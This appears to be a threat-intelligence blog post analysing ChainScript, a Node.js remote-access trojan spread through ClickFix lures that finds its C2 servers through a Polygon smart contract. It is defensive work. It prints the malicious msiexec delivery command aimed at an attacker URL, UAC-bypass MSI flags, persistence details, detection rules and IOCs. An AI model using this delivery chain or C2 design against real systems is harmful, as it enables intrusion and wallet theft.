ChainScript RAT: ClickFix Attacks Use Polygon Blockchain for C2 Infrastructure

Blackpoint Cyber researchers have identified a previously unknown Node.js RAT called ChainScript, distributed through ClickFix lures and using Polygon smart contracts for dynamic command-and-control infrastructure discovery. The malware masquerades as popular software such as Spotify, Zoom and Microsoft Teams and bypasses UAC through user-level MSI installation.

Key features: Node.js RAT with a modular architecture; EtherHiding-style C2 discovery through a Polygon smart contract (Chain ID 137); dynamic rotation of WebSocket servers without recompiling the malware; UAC bypass through MSI using the ALLUSERS=2 and MSIINSTALLPERUSER=1 flags.

⚙️ Attack Mechanics: From ClickFix to Blockchain C2

ChainScript uses a multi-stage infection chain that begins with social engineering. The victim encounters a ClickFix lure on a compromised website or in an advertisement, where a fake error message appears asking them to execute a command to "fix" the problem.

🎯 Initial Infection Vector

  • Social engineering: The user is instructed to press Win+R and paste a PowerShell command
  • MSI delivery: The command msiexec.exe /i "https://api-configuard[.]com/capher.php?..." downloads the malicious installer
  • UAC bypass: The ALLUSERS=2 and MSIINSTALLPERUSER=1 flags allow installation without administrator privileges
  • Masquerading: The MSI presents itself as legitimate software from Spotify AB, Zoom Workplace or Microsoft

📦 Installation Process and Persistence

After execution, the MSI extracts the bundled node.exe and supporting scripts into Microsoft-themed directories:

  • Runtime: %LOCALAPPDATA%\Microsoft\Windows\Libraries\QuickSystemSearch
  • Application: %APPDATA%\Microsoft\Windows\Themes\SettingsHostStandard58
  • Configuration: %LOCALAPPDATA%\Microsoft\Windows\INetCache\FilterManager
  • Helper Tools: %LOCALAPPDATA%\Microsoft\Windows\Shell\Remote\Temp\Primary

Persistence is achieved through a scheduled task named ComponentTask33Agent, which launches wscript.exe //B to execute ._agent.vbs silently. If task creation fails, the malware falls back to an HKCU Run key.

🔗 EtherHiding: Blockchain as a C2 Resolver

The most innovative aspect of ChainScript is its use of blockchain technology for C2 discovery. Instead of hardcoded IP addresses or domains that can be quickly blocked, the malware uses a smart contract on the Polygon PoS mainnet.

⛓️ Blockchain-Based C2 Discovery Mechanism

Component Value Purpose
Blockchain Polygon PoS (Chain ID 137) Decentralized platform for storing C2 information
Contract Address 0xf9099d0d747368cce8C10226CC9AF2bFD4DDbCF4 Smart contract containing current C2 addresses
Function Selector 0x4ab7874e Method for retrieving the WebSocket URL
Cache Duration 5 minutes Duration for caching the retrieved address

The discovery process works as follows:

  1. Configuration loading: The agent loads HiddenVirtualSilentLoader.dat
  2. Decoding: Base64 decoding + XOR with the buildSeed from the installer's metadata
  3. Blockchain query: eth_call to the smart contract using selector 0x4ab7874e
  4. URL retrieval: The contract returns an ABI-encoded string containing the WebSocket endpoint
  5. Validation: Checks for the ws:// or wss:// prefix
  6. Caching: The address is cached for 5 minutes

Advantages for attackers: The smart contract was deployed just 23 seconds before the MSI installer was generated, confirming full integration of blockchain deployment into the automated malware build pipeline. During testing, the contract dynamically redirected agents from shift-api-control[.]com:3847 to bedotiq[.]net:3854 after a server reset.

🔄 Dynamic Infrastructure Rotation

The blockchain-based approach allows ChainScript operators to instantly change backend infrastructure without the need to:

  • Recompile the malware
  • Distribute new versions of the agents
  • Update configuration files
  • Circumvent blacklists (the blockchain itself cannot be taken down)

The most commonly used ports are 3847, 3851 and 3854. Observed domains include kerosand[.]net, shift-api-control[.]com, moweros[.]net, bedotiq[.]net and giperon[.]net.

🛡️ RAT Capabilities and Communication Protocol

ChainScript is a fully featured RAT with a broad range of capabilities for controlling an infected system.

💻 Capabilities

  • Interactive sessions: Real-time CMD and PowerShell sessions
  • File operations: Browse, upload and download files
  • Screenshots: Screen capture through SearchTrustedRuntimeSvc.exe
  • Payload deployment: Downloading and executing additional malware
  • Wallet discovery: Searching the system for cryptocurrency wallets
  • Remote JavaScript: Executing arbitrary JavaScript code
  • Self-update: Automatic agent updates
  • Cleanup: Removing traces of activity

📡 WebSocket Communication Protocol

After connecting to the C2 server via WebSocket, the agent authenticates using the X-Agent-Token header and registers the system by sending:

  • Hostname and Windows MachineGuid (for unique identification)
  • Username and system architecture
  • Uptime, memory capacity and CPU count
  • Local IPv4 address
  • Domain or workgroup information

The protocol supports the following message types:

Direction Message Types
Inbound (from C2) command, shell, ping, files
Outbound (to C2) heartbeat, pong, command_result, shell, wallet_report

The heartbeat interval is 12 minutes, while the reconnect delay is 15 seconds. Request IDs associate operator commands with their corresponding execution results.

🔍 Detection and Mitigation Strategies

Detecting ChainScript requires a multi-layered approach combining behavioral analysis, hunting queries and blocking known IOCs.

🎯 Sigma Rule for Detection

title: ChainScript RAT Execution Chain via MSI and WScript
status: experimental
description: Detects msiexec installing user-level components that spawn wscript and node.exe from user profile directories
logsource:
    category: process_creation
    product: windows
detection:
    selection_wscript:
        Image|endswith: 'wscript.exe'
        CommandLine|contains:
            - '._agent.vbs'
            - 'SettingsHostStandard58'
            - 'QuickSystemSearch'
    selection_node:
        Image|endswith: 'node.exe'
        CommandLine|contains:
            - 'appsrcindex.js'
            - 'ComponentTask33'
            - 'UpdateDigital'
    condition: selection_wscript or selection_node
level: critical

📊 KQL Hunting Query for Microsoft Defender

// Hunt for ChainScript scheduled task persistence and Node execution
let SuspiciousNodes = DeviceProcessEvents
| where FileName =~ "node.exe"
| where ProcessCommandLine has_any ("appsrcindex.js", "QuickSystemSearch", "SettingsHostStandard58")
| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName;

let SuspiciousTasks = DeviceProcessEvents
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has_all ("/create", "wscript.exe", "._agent.vbs")
| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine, AccountName;

union SuspiciousNodes, SuspiciousTasks
| sort by Timestamp desc

🚫 Network Blocking

Immediately block the following at the perimeter firewall and DNS sinkhole:

  • Delivery domain: api-configuard[.]com
  • C2 domains: shift-api-control[.]com, bedotiq[.]net, kerosand[.]net, moweros[.]net, giperon[.]net
  • IP addresses: 176.65.144[.]127, 176.65.144[.]40
  • Ports: 3847, 3851, 3854

Important: Infrastructure IOCs (domains, IP addresses and contracts) have a short lifespan due to dynamic rotation. Focus on behavioral patterns and host artifacts for long-term detection.

✅ Protection Recommendations

  • Restrict ClickFix vectors: Disable the Windows Run dialog for users who do not need it; restrict user-initiated MSI installation
  • User education: Any website asking users to press Win+R, paste commands or execute PowerShell should be treated as suspicious
  • Hunt the execution chain: Look for msiexec.exe → wscript.exe → ._agent.vbs → node.exe appsrcindex.js
  • Detect persistence: Monitor node.exe launching PowerShell to create scheduled tasks
  • Correlate activity: Unexpected Polygon/EVM RPC access + outbound WebSocket traffic from node.exe = high risk

📋 Key IOCs for Retrohunting

Type Indicator SHA-256
MSI (Spotify) ComponentTask33-4d14e6ac.msi 20a9e297220fe4cb9f939eaa82582c6e9a8f6dd4424635206dec08fa1986b8fa
MSI (Spotify) UpdateDigital-0c3c5204.msi 6e07d2de3618bb92265248653361ff39c63c0cfba2f4aa2538b3128fa9ce3a50
MSI (Zoom) HostShared-1a5b7e17.msi bad0600a850436154f8d7b6f7a191dc45bd136897780cd032b336cb4b358d241
MSI (Teams) OrchidViolet66-5595bc08.msi 496c202abf53984164f5f319a72b02c8e06016d0f35681353ef07db8e6d1b31f
Helper binary ProfileQuickHost.exe 9fa80577b8b3cb9c3062e5e1986cc9fe0c26eed023f7d430dfa5c60169c15c45
Screenshot helper SearchTrustedRuntimeSvc.exe 7969ccaf1db750bc3b02d51626d6916ecbd0c0cf2f7de3c7bc0be240f5f2978d

ChainScript demonstrates the evolution of commodity malware, with attackers combining legitimate runtimes such as Node.js with decentralized Web3 infrastructure to create C2 channels that are resilient to takedowns. The use of blockchain for C2 discovery presents a significant challenge to traditional threat intelligence approaches and requires detection strategies to adapt accordingly.

“Security is not a product, but a process. When attackers use blockchain for C2, defenders must think just as decentralized and adaptively.”

— Bruce Schneier, cybersecurity expert

22.09.2026, 01:03